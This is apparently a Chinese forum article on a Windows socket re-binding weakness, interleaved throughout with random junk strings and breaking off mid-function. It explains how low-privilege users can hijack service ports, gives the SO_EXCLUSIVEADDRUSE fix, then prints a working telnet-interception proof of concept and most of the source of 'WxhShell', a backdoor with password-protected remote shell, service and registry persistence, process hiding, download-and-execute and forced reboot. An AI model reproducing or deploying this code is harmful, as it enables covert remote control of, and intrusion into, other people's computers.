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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R@A"U[* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3fd?xhWbN b<8,'QgB saddr.sin_family = AF_INET; 4o,G[Cf_ |?<^4U8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); UJ7{FN=@t v&r\Z @% bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v]c+|nRs fp?cb2'7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u5rHQA0% -W.bOr 这意味着什么?意味着可以进行如下的攻击: Apbgm[m|{ "/0Vvy _| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |"i"8~/@< (g3@3.Kk) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3e ?J#; ^k5# {?I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ykD-L^} "5b4fQ;x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 qc"PTv0q ]:}x 4O# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M@<r8M]G BNq6dz$ J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O6$n VpD3 >gf,8flgj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bEB9J-
Q Q=h37]U+ #include tKYg #include {ug* #include vpz l{ #include wj 15Og? DWORD WINAPI ClientThread(LPVOID lpParam); j5MUP&/g3 int main() Ls/*&u { NKMVp/66D WORD wVersionRequested; 04#<qd&ob@ DWORD ret; 2U&+K2 WSADATA wsaData; y1#*c$ O BOOL val; f6`W(OiE SOCKADDR_IN saddr; bA\(oD+: SOCKADDR_IN scaddr; j026CVL int err; C=x70Y/ SOCKET s; =F/ EzS SOCKET sc; GsU.Lkf int caddsize; Yd] HANDLE mt; }#phNn6 DWORD tid; ? $.x%G+ wVersionRequested = MAKEWORD( 2, 2 ); hp$1c err = WSAStartup( wVersionRequested, &wsaData ); 8u7QF4
Id if ( err != 0 ) { kJpr:4;@_ printf("error!WSAStartup failed!\n"); FB2{qG3 return -1; Xa_:B\ic } : $N43_Wb saddr.sin_family = AF_INET; L b-xc] iHeu<3O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OlX#1W] WXd#`f % saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k_`YVsEYP saddr.sin_port = htons(23); ,:%
h`P_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A9y@v{txN { z[l_<`J$9 printf("error!socket failed!\n"); BFZ\\rN` return -1; py$i{v% } ~(]'ah, val = TRUE; EOXuc9>G //SO_REUSEADDR选项就是可以实现端口重绑定的 OmZK~$K_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )!=fy'] { s:ojlmPb printf("error!setsockopt failed!\n"); sNZOm $ return -1; zqxN/H]z } <`Qbb=* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dQ
Lo,S8( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?dmwz4k0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (5kL6d2 vHN/~k# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3`Dyrj#! { (@Eb+8Zd ret=GetLastError(); ,.AXQ#~&` printf("error!bind failed!\n"); 0s6eF+bs return -1; 7pM&))R } h9QQ8}g listen(s,2); c=<^pCa9t1 while(1) '![VA8 { oI"gQFGu`u caddsize = sizeof(scaddr); Q}uh`?t //接受连接请求 ~*L@|? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o(D6 if(sc!=INVALID_SOCKET) QB*n
[(? { 3935cxT1U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -Fc 9mv(H if(mt==NULL) g_)i)V { 6>b'g
~I printf("Thread Creat Failed!\n"); jV' tcFr4 break; 1-Q>[Uz, } FYH^axpp } EGjzjuJu{ CloseHandle(mt); sI@kS^ } H%;pPkIi closesocket(s); (, $Lp0mB7 WSACleanup(); N@8tf@BT return 0; n"<'F4r } rLcXo%w DWORD WINAPI ClientThread(LPVOID lpParam) y2Vc[o(NP { ._<gc;G SOCKET ss = (SOCKET)lpParam; 0$|wj^?U SOCKET sc; gXB&Sgjo unsigned char buf[4096]; i~tps SOCKADDR_IN saddr; QY$4D;M`g6 long num; EHm:&w DWORD val; r6L DWORD ret; Yy_mX}\x //如果是隐藏端口应用的话,可以在此处加一些判断 !={QL : //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 kp*BAQ saddr.sin_family = AF_INET; ar@ysBy saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $'b b)@_ saddr.sin_port = htons(23); g$mqAz< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,62BZyT,T, { fw0Z- 9* printf("error!socket failed!\n"); =A;79@bY return -1; %Z(lTvqG } )`zfDio-1V val = 100; Y4*?QBYA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nG"Ae8r { 0!`!I0 ret = GetLastError(); ~PC S_ return -1; ;+Mr|vweTC } ^7C,GaDsn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IE&G7\>(yO { OoR0>!x Z ret = GetLastError(); RueL~$*6.~ return -1; ;sd] IZ$# } e{d$OzT) V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zuvP\Y=V` { @m"P_1`* printf("error!socket connect failed!\n"); sUsIu,1Q closesocket(sc); 5@~5RNrq2 closesocket(ss); 5v#_2Ih return -1; m`/!7wQs } RQ[6svfP while(1) 9wv 7HD| { /ee4 v! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U6oab9C?k //如果是嗅探内容的话,可以再此处进行内容分析和记录 z#sSLE.$Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +#ANc;2g num = recv(ss,buf,4096,0); O)G^VD s if(num>0) U`ELd: send(sc,buf,num,0); oOK&+r7 else if(num==0) c (0Ez@ break; gnU##Km| num = recv(sc,buf,4096,0); uJ/&!q<3 if(num>0) '>r"+X^W send(ss,buf,num,0); !u|s|6{\ else if(num==0) %R1$M318 break; <2 S?QgR, } C?%Oi:Gi& closesocket(ss); Mhze!! closesocket(sc); w\ 7aAf3O return 0 ; ~UV$(5&- } 8VZLwhj 00@y,V_] JD$;6Jv3P ========================================================== a]_eSU@ -pm^k-%v 下边附上一个代码,,WXhSHELL a,*~wmg w
B[H& ========================================================== 4vRIJ}nQ
XvspE}~y #include "stdafx.h" B":u5_B ~b.e9FhdA #include <stdio.h> .[4Dvt|>6 #include <string.h> >R}p*=J #include <windows.h> }N<> z #include <winsock2.h> Qape DU; #include <winsvc.h> O*7`Waag #include <urlmon.h> 3F6=/ seo.1.Da2 #pragma comment (lib, "Ws2_32.lib") VVyms7
VN #pragma comment (lib, "urlmon.lib") eC41PQ3=1' " tUF,G(< #define MAX_USER 100 // 最大客户端连接数 fbK`A?5K #define BUF_SOCK 200 // sock buffer gnN"pa!&~ #define KEY_BUFF 255 // 输入 buffer gT~Yn~~b /xcl0oe( #define REBOOT 0 // 重启
@Iy&Qo #define SHUTDOWN 1 // 关机 )j>BvO 1#<KZN =$ #define DEF_PORT 5000 // 监听端口 jh&WL q
k+(Ccl #define REG_LEN 16 // 注册表键长度 R3=]Av46 #define SVC_LEN 80 // NT服务名长度 bR}{xHe R87e"m/C% // 从dll定义API 5b^`M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |}>;wZ[7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >?Ps5n]b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S*-/#j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tp?l;DU (G3S+T 9 // wxhshell配置信息 VU[4 W8f struct WSCFG { 5E!G int ws_port; // 监听端口 `vFYeN; char ws_passstr[REG_LEN]; // 口令 D~s
TQfWr int ws_autoins; // 安装标记, 1=yes 0=no z3:tSjF char ws_regname[REG_LEN]; // 注册表键名 p/k6}Wl char ws_svcname[REG_LEN]; // 服务名 ,[{)4J$MV char ws_svcdisp[SVC_LEN]; // 服务显示名 8Ekk"h6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 )6
_+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C`0; int ws_downexe; // 下载执行标记, 1=yes 0=no l6lyRJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <)
`?s char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eJ23$VM+9
dwc$#cMf }; A#6\5u \tWFz( // default Wxhshell configuration VTt{0 ~ struct WSCFG wscfg={DEF_PORT, voHFU#Z$ "xuhuanlingzhe", ![,W? 1, CI )89` "Wxhshell", Do&/+Ssnu "Wxhshell", pGO)9?j_N "WxhShell Service", 2-<i#nA3 "Wrsky Windows CmdShell Service", 1[;~>t@C "Please Input Your Password: ", NJ;D Qv 1, XOe8(cXa9 " http://www.wrsky.com/wxhshell.exe", ~X`_g/5X "Wxhshell.exe" `]8z]PD }; 0;kp`hB `;9Z?]}` // 消息定义模块 9y~5@/32R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2V1|b`b#4 char *msg_ws_prompt="\n\r? for help\n\r#>"; |aT&rpt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; bH-QF\> char *msg_ws_ext="\n\rExit."; mQ@A3/= ` char *msg_ws_end="\n\rQuit."; .qcIl)3 char *msg_ws_boot="\n\rReboot..."; R4V~+tnbG& char *msg_ws_poff="\n\rShutdown..."; H7xyK
char *msg_ws_down="\n\rSave to "; 'w8k*@cQ %` cP|k char *msg_ws_err="\n\rErr!"; Y|NANjEAfm char *msg_ws_ok="\n\rOK!"; v^=Po6S[{+ !`rR;5&sT char ExeFile[MAX_PATH]; a}Dx"zl; int nUser = 0; \=O[' # HANDLE handles[MAX_USER]; _i=431Z40 int OsIsNt; MrW#~S|ED YQ&Ww|xe SERVICE_STATUS serviceStatus; '9+JaB SERVICE_STATUS_HANDLE hServiceStatusHandle; <QUjhWxDb 8+>r!)Q+ // 函数声明 =peodj^ int Install(void);
;PO{
ips int Uninstall(void); fq@r6\TI int DownloadFile(char *sURL, SOCKET wsh); `FjU2
O int Boot(int flag); #^+C
kHX void HideProc(void); yZ_6yJw3} int GetOsVer(void); %[<@$qP int Wxhshell(SOCKET wsl); , :I:F void TalkWithClient(void *cs); J-6l<%962% int CmdShell(SOCKET sock); E^)>9f7 int StartFromService(void); :6
, `M, int StartWxhshell(LPSTR lpCmdLine); $S_xrrE# PJ-EQ6W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rjFIK`_w VOID WINAPI NTServiceHandler( DWORD fdwControl ); jvI!BZ e5g# a} // 数据结构和表定义 m#\I&(l+ SERVICE_TABLE_ENTRY DispatchTable[] = 4=G)j+RCH { S2TyNZbQ {wscfg.ws_svcname, NTServiceMain}, 9;\a|8O {NULL, NULL} 7Rba@ cs9 }; *LaL('.> *{t]fds // 自我安装 E%[2NsOM] int Install(void) 7s2 l 3 { +f}u.T_# char svExeFile[MAX_PATH]; F9Hxqa#1T HKEY key; K1th>!JW' strcpy(svExeFile,ExeFile); >@g+%K] BHNcE*U}@? // 如果是win9x系统,修改注册表设为自启动 ` XvuyH if(!OsIsNt) { ,2|(UTv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W>+/N4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'n>v}__&| RegCloseKey(key); oMb&a0-7u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F*}.0SQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TFQX}kr] RegCloseKey(key); ^$N}[1 return 0; "^Ax}Jr } d)R7#HLZ7 } sp-){k } q':P9o*N? else { T{USzMj
z]twh&^1L // 如果是NT以上系统,安装为系统服务 j(QK 0 "z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5DI&pR1eZ if (schSCManager!=0) R4#56#d< { @VzD>?) SC_HANDLE schService = CreateService 3axbWf3[ ( #:)yh]MP schSCManager, ![ce=9@t< wscfg.ws_svcname, 'yw7|i2 wscfg.ws_svcdisp, )B!64'|M SERVICE_ALL_ACCESS, ;X
zfd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %>mB"Y, SERVICE_AUTO_START, >Oz~j>jL SERVICE_ERROR_NORMAL, O>M4%p svExeFile, %3@a|#g NULL, k-;A9!^h NULL, A*a:#'"*N NULL, tLD(%s_ NULL, ju8DmC5 NULL m%p;>:"R ); }jI=* if (schService!=0) j,J/iJs { 9R1S20O CloseServiceHandle(schService); &~
.n}h& CloseServiceHandle(schSCManager); !D!1%@
e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m35$4 strcat(svExeFile,wscfg.ws_svcname); ~\QN.a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B=;pwX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ltrw)H} RegCloseKey(key); qJyGr ? return 0; +*')0I } z7PmyU
> } |{j\7G*5 CloseServiceHandle(schSCManager); <W2YG6^i } tm#[. } g4U`Qf3 "~nUwW|=1 return 1; b&_u+g } 9u^ yEqG` d+iV19 #i // 自我卸载 f.{/PL int Uninstall(void) ()`cW>[ { >713H!uj HKEY key; Ts c2;I !gX(Vh*k if(!OsIsNt) { 6jpfo'uB$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f$I$A(0P RegDeleteValue(key,wscfg.ws_regname); F./$nwb RegCloseKey(key); hha!uD~( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .EXxNB]%Y& RegDeleteValue(key,wscfg.ws_regname); 032PR;] RegCloseKey(key); (V:)`A_- return 0; [`/d$V!e } _WB*ArR } !IAd.<, } o7^u@*"F else { dkI(&/ c[zaYcbl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y-R:-K XH= if (schSCManager!=0) K=Y{iHn { %}ASll0uq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &C&?kS( if (schService!=0) 1_RN*M+# { bQBYzvd if(DeleteService(schService)!=0) { cK _:?G CloseServiceHandle(schService); LP:U6 Z CloseServiceHandle(schSCManager); je`w$ ^w return 0; c8}jO=/5+ } geJO#; CloseServiceHandle(schService); 1Uf8ef1, } 2& ZoG%) CloseServiceHandle(schSCManager); ,mm9X\ ' } Ou,Eu05jt' } ^,,lo<d_L 3lG=.yD return 1; e,I{+^P } y_A7CG"^ b_%W*Q // 从指定url下载文件 n}!D)Gx int DownloadFile(char *sURL, SOCKET wsh) >#8J@=iuqv { 5l,Q=V^@l HRESULT hr; `@#,5S$ E char seps[]= "/"; l.AG^b char *token; ~RIn7/A char *file; "u.4@^+i char myURL[MAX_PATH]; QCVwslj,K char myFILE[MAX_PATH]; ]YqeI*BX a]nyZdt` strcpy(myURL,sURL); s\dhQZ w3 token=strtok(myURL,seps); &XH{,fv$ while(token!=NULL) gW_^GrK pI { ]xf|xs file=token; ZW>?y$C+ token=strtok(NULL,seps); {xS\CC(g } w7Y>B`wm? xK;WJm" GetCurrentDirectory(MAX_PATH,myFILE); b{i7FRR>o4 strcat(myFILE, "\\"); jm$v0=W9# strcat(myFILE, file); 53jtwklA send(wsh,myFILE,strlen(myFILE),0); q)E
J?- send(wsh,"...",3,0); wD'LX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "J(7fL$! if(hr==S_OK) Ow7}&\;^- return 0; 2Y'=~*tV else 2O~I.(9( return 1; AroXf#. DGllJ_/Z } ngC|BLT%h \JX.)&>
- // 系统电源模块 P0N%77p>" int Boot(int flag) SpG^kI # { ?]bZ6|;2 HANDLE hToken; #H1ng<QV TOKEN_PRIVILEGES tkp; 2n`OcXCh/ F6xQ`T| if(OsIsNt) { 3"OD" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >kJEa8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {V)Z!D tkp.PrivilegeCount = 1; XCTee tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ixFuqPij AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1vF^<{%v if(flag==REBOOT) { D{!NTr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MxXu&.|_ return 0; i C
nWb } 8>sToNRNe else { ^KsiTVY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kpo{:a return 0; f9Hm2wV } 6k=ink-/ } h6dVT9 else { PB :Lj if(flag==REBOOT) { p7A&r:qq# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y M_\ ZK: return 0; n0T'"i[ } Rj|8lK;, else { 4D`T_l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o!3 -=<^ return 0; [V5ebj:6w } ]tVU$9D } 9W{=6D86e q,JMmhWaT return 1; 0r?}LWjf } >!OD[9 FX FTf2*T // win9x进程隐藏模块 A(mU,^ void HideProc(void) R18jju>Zr { /hef3DV5I $f-f0t' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T'cahkSw'O if ( hKernel != NULL ) D-/K'|b { _91g=pM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dooS|Mq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >5&'_ FreeLibrary(hKernel); !79^M } u6AReL'f $/aZ/O)F return; SsDe\"?Q } %&+j(?9 lCDu,r;\ // 获取操作系统版本 gv}Esps
R int GetOsVer(void) 0sv#* &0= { +zQ
a"Ep* OSVERSIONINFO winfo; O!}TZfC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [lpzUB}<Yp GetVersionEx(&winfo); 92F(Sl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7u!i)<pn return 1; 6.},y<E else bb#F2r4 return 0; u%<Je } l+'@y (}Q (PjC]`FK // 客户端句柄模块 Gpws_jw int Wxhshell(SOCKET wsl) H 3YFbR { ab!,)^ SOCKET wsh; IWvLt struct sockaddr_in client; _ji"##K DWORD myID; Y]aVa2!Wb ?(el6 J} while(nUser<MAX_USER) sas}k7m" { +1R?R9^Fw int nSize=sizeof(client); hA.?19<Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n}MW# :eJe if(wsh==INVALID_SOCKET) return 1; :?%$={m :c@v_J6C& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V&U1WV/ if(handles[nUser]==0) .5*h']iFr1 closesocket(wsh); {<{
O! else 095:"GvO nUser++; ;*^2,_ } QFMR~6 ? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U|QLc 1*\JqCR return 0; .UF]( } DD`Bl1) P,-f]k[_ // 关闭 socket '\8gY((7 void CloseIt(SOCKET wsh) G+2!+N\P { SJb+:L> closesocket(wsh); kR2kV"-l nUser--; b^[Ab:`}[V ExitThread(0); (jbHV.]P9 } lXH?* -`nQa$N- // 客户端请求句柄 ]hNio6CVm void TalkWithClient(void *cs) u~WBu| { h"Qp e'D} bBwQ1,c$ SOCKET wsh=(SOCKET)cs; IE7%u92 char pwd[SVC_LEN]; \ng!qN char cmd[KEY_BUFF]; ]
TY$ char chr[1]; 28,Hd!{ int i,j; m)l<2`CM 1t&LNIc|^ while (nUser < MAX_USER) { Jg} w{, }LK +w+h~ if(wscfg.ws_passstr) { Vwxb6,}Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NWnUXR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X{cFqW7 //ZeroMemory(pwd,KEY_BUFF); 7A6Qrfw i=0; \ZN> 7?Vs while(i<SVC_LEN) { []^fb,5a t}FwS6u // 设置超时 O5X@'.#rU fd_set FdRead; RuyqB>[o struct timeval TimeOut; xF4S FD_ZERO(&FdRead); d$DNiJ , FD_SET(wsh,&FdRead); ^j~CYzmt TimeOut.tv_sec=8; s{g^K#BoFi TimeOut.tv_usec=0; }eKY%WU>O int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h 8Shf" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2bIP.M2Fs :Vdo.uUa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fsdp"X. pwd =chr[0]; s=KK)6T if(chr[0]==0xd || chr[0]==0xa) { olA 1,8 pwd=0; dWKjVf break; o2'^MxKb T } 6gr?#D -F i++; E^ub8 } Y\7WCaSgi lftT55Tki // 如果是非法用户,关闭 socket d2\#Zlu< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `1xJ1z# } 3lh^maQ] Nw3K@Ge send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YRU1^=v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i>elK<R4 BYuoeN! while(1) { {7F?30: ] %[l#S*)~ ZeroMemory(cmd,KEY_BUFF); QmiS/`AAv wC&+nS1 // 自动支持客户端 telnet标准 {zNFp#z j=0; vx7wW<e%D while(j<KEY_BUFF) { Jxo#sV-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tNbL) cmd[j]=chr[0]; T[(4z@d`5 if(chr[0]==0xa || chr[0]==0xd) { ?xTdL738 cmd[j]=0; |'+ [ ' break; V#Pz`D } ]r&dWF j++; *B*dWMh } |V
dr/' &sA@! // 下载文件 IKs2.sj"o if(strstr(cmd,"http://")) { ZHN}:W/p send(wsh,msg_ws_down,strlen(msg_ws_down),0); L"x9O'U if(DownloadFile(cmd,wsh)) >|W\8dTQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E|9'{3$ else p E56CM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7dh--.i } w~|z0;hC else { $T2n^yz eb*w$|y6" switch(cmd[0]) { j0(+Kq:J @C"w
1} // 帮助 *Q`y'6S case '?': { 7nl send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); egHvI&w"o break; p6*|)}T_% } {)y8Y9G // 安装 Qh{]gw-6 case 'i': { O{&wqV5m" if(Install()) Op
0Qpn send(wsh,msg_ws_err,strlen(msg_ws_err),0); nNP{>\x;" else o4d[LV4DS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I]jK]]@ break;
$hgsWa } R) 'AI[la // 卸载 zKf.jpF^ case 'r': { hcJny if(Uninstall()) 'i7!"Y6> send(wsh,msg_ws_err,strlen(msg_ws_err),0); KOP*\\1
J else @;P\`[(* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZNjqH[ break; Z:kX9vw. } RXWS,rF // 显示 wxhshell 所在路径 0Ik}\lcn case 'p': { 6JZ$;x{j char svExeFile[MAX_PATH]; $ 8WJ$73 strcpy(svExeFile,"\n\r"); @K}8zMmW# strcat(svExeFile,ExeFile); nq3B( send(wsh,svExeFile,strlen(svExeFile),0); lV)SOs$ break; {WYmO1 } [R9!Tz // 重启 Q"QL#<N case 'b': { \[ 5mBuk send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }RPeAcbU_ if(Boot(REBOOT)) (g
9G!I send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ar/4\b else { .|Bmg6g* closesocket(wsh); wG2-,\: ExitThread(0); ja|XFs~ } EHC^ [5 break; 3V2w1CERE } {V*OYYI`R // 关机 j9IeqlL case 'd': { ZPolE_P7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /naGn@m5u if(Boot(SHUTDOWN)) r")zR, send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@|.1dWh else { $h|rd+}, closesocket(wsh); ^FZ7)T ExitThread(0); JHCV7$RS } {cF>,T break; avI } fqgm`4> // 获取shell K`d3p{M case 's': { uY5Gn.Y CmdShell(wsh); 9X2l H~C closesocket(wsh); _-.~>C ExitThread(0); ie+746tFW break; e2xqKG } UIl^s8/ // 退出 l.wf= / case 'x': { Q(e 3-a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d{LQr}_o$$ CloseIt(wsh); k-M-=VvA break; 8(Y=MW;g } rLm:qu(F1 // 离开 V,@Y, case 'q': { s3LR6Z7;i send(wsh,msg_ws_end,strlen(msg_ws_end),0); -}?ud3f< closesocket(wsh); XS'0fq a WSACleanup(); [Bz'c1 exit(1); #(`@D7S" break; B?xu!B, } I@f">&^ } 1K ;i/ } VK)K#!O8 ^5l4D3@E // 提示信息 Kb# }f/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yjr6/&ML } Odo"S;) } ]o(&J7Z6- }0({c~z\ return; 82X}@5o2 } +c699j;[ #6tb{ws3 // shell模块句柄 f]BG`rJX int CmdShell(SOCKET sock) (zFUC] { ve#cz2Z STARTUPINFO si; [Q/')5b ZeroMemory(&si,sizeof(si)); "$Wi SR si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cs ?@Ri=g si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &B^vHH PROCESS_INFORMATION ProcessInfo; vYD>m~Qc^ char cmdline[]="cmd"; 1D fB9n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *mM+(]8US return 0; H>-?/H } fNi&1J-/ dQ8}mH! // 自身启动模式 3:rH1vG.m int StartFromService(void) #zcp!WE.OI { g#V3u=I8~ typedef struct sX3Vr&r { FxKb DWORD ExitStatus; E5lC'@D cz DWORD PebBaseAddress; `he{"0U~S DWORD AffinityMask; !}()mrIlP DWORD BasePriority; .~a) ULONG UniqueProcessId; XHO}(!l\ ULONG InheritedFromUniqueProcessId; ,>%AEN6N2 } PROCESS_BASIC_INFORMATION; &50Kn[ B{W2D PROCNTQSIP NtQueryInformationProcess; }TRr*]
